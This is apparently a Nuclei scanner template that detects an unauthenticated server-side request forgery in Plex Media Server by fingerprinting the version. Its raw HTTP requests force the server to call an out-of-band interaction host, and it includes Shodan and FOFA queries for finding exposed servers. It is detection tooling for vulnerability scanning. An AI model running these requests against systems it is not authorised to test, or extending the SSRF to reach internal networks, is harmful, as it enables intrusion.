Copy
id: CVE-2026-96652
info:
name: Plex Media Server < 1.43.3.10861 - Unauthenticated SSRF via Companion Protocol (plex2shell)
author: 0x_Akoko,pdteam,alex700
severity: medium
description: |
Plex Media Server < 1.43.3.10861 contains a server side request forgery caused by improper validation of the 'protocol' parameter in /player/timeline, letting attackers with any X-Plex-Token value force the server to POST to arbitrary destinations, exploit requires any X-Plex-Token value.
impact: |
Attackers can make the server send arbitrary POST requests to attacker-controlled destinations, potentially leading to internal network attacks or data exfiltration.
remediation: |
Update to version 1.43.3.10861 or later.
reference:
- https://zmain.info/blog/plex2shell
- https://github.com/gmh5225/plex2shell
- https://www.cve.org/CVERecord?id=CVE-2026-96652
- https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-266-01.json
- https://github.com/advisories/GHSA-5p7w-r379-3c2m
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
cvss-score: 4.3
cve-id: CVE-2026-96652
epss-score: 0.11886
epss-percentile: 0.96129
cwe-id: CWE-918
metadata:
verified: true
max-request: 4
vendor: plex
product: plex_media_server
shodan-query: port:32400 "X-Plex-Protocol"
fofa-query: port="32400" && header="X-Plex-Protocol"
tags: cve,cve2026,plex,ssrf,oob,unauth,plex2shell,kev,vkev
variables:
cid: "{{rand_text_alpha(10)}}"
tok: "{{rand_text_alpha(12)}}"
flow: |
(function() {
if (!http(1)) return false;
var ver = template["plex_version"];
if (!ver) return false;
var p = ver.split(/[.\-]/);
if (p.length < 4) return false;
var ma = +p[0], mi = +p[1], pa = +p[2], build = +p[3];
var vuln = (ma < 1) ||
(ma === 1 && mi < 43) ||
(ma === 1 && mi === 43 && pa < 3) ||
(ma === 1 && mi === 43 && pa === 3 && build < 10861);
if (!vuln) return false;
try { http(2); } catch (e) {}
if (!http(3)) return false;
return http(4);
})();
http:
- raw:
- |
GET /identity HTTP/1.1
Host: {{Hostname}}
Accept: */*
Connection: close
extractors:
- type: regex
name: plex_version
internal: true
part: body
group: 1
regex:
- '<MediaContainer[^>]+\sversion="([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)'
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "MediaContainer", "machineIdentifier")'
condition: and
internal: true
- raw:
- |
@timeout: 3s
GET /player/proxy/poll?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&X-Plex-Client-Identifier={{cid}} HTTP/1.1
Host: {{Hostname}}
X-Plex-Token: {{tok}}
X-Plex-Client-Identifier: {{cid}}
X-Plex-Platform: poc
X-Plex-Platform-Version: 1
X-Plex-Product: poc
X-Plex-Version: 1
X-Plex-Device: poc
X-Plex-Device-Name: poc
X-Plex-Model: poc
Accept: */*
Connection: close
matchers:
- type: dsl
dsl:
- 'true'
internal: true
- raw:
- |
GET /player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&commandID=1&X-Plex-Target-Client-Identifier={{cid}}&protocol=http%3A%2F%2F{{interactsh-url}}&port=80 HTTP/1.1
Host: {{Hostname}}
X-Plex-Token: {{tok}}
X-Plex-Client-Identifier: {{cid}}
X-Plex-Platform: poc
X-Plex-Platform-Version: 1
X-Plex-Product: poc
X-Plex-Version: 1
X-Plex-Device: poc
X-Plex-Device-Name: poc
X-Plex-Model: poc
Accept: */*
Connection: close
matchers:
- type: dsl
dsl:
- 'true'
internal: true
- raw:
- |
GET /player/timeline/unsubscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&X-Plex-Target-Client-Identifier={{cid}} HTTP/1.1
Host: {{Hostname}}
X-Plex-Token: {{tok}}
X-Plex-Client-Identifier: {{cid}}
X-Plex-Platform: poc
X-Plex-Platform-Version: 1
X-Plex-Product: poc
X-Plex-Version: 1
X-Plex-Device: poc
X-Plex-Device-Name: poc
X-Plex-Model: poc
Accept: */*
Connection: close
matchers:
- type: dsl
dsl:
- 'contains_any(interactsh_protocol, "http", "dns")'
# digest: 4a0a004730450220161a5b4bfef12d05d04f09b408c48a31bfe6e7312626a96d13b919bb6b350d81022100aab4d8bb1aac0ad0fe40dba3bd5b2c29e989fa81c682288a99a87e6bf0e6fad8:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.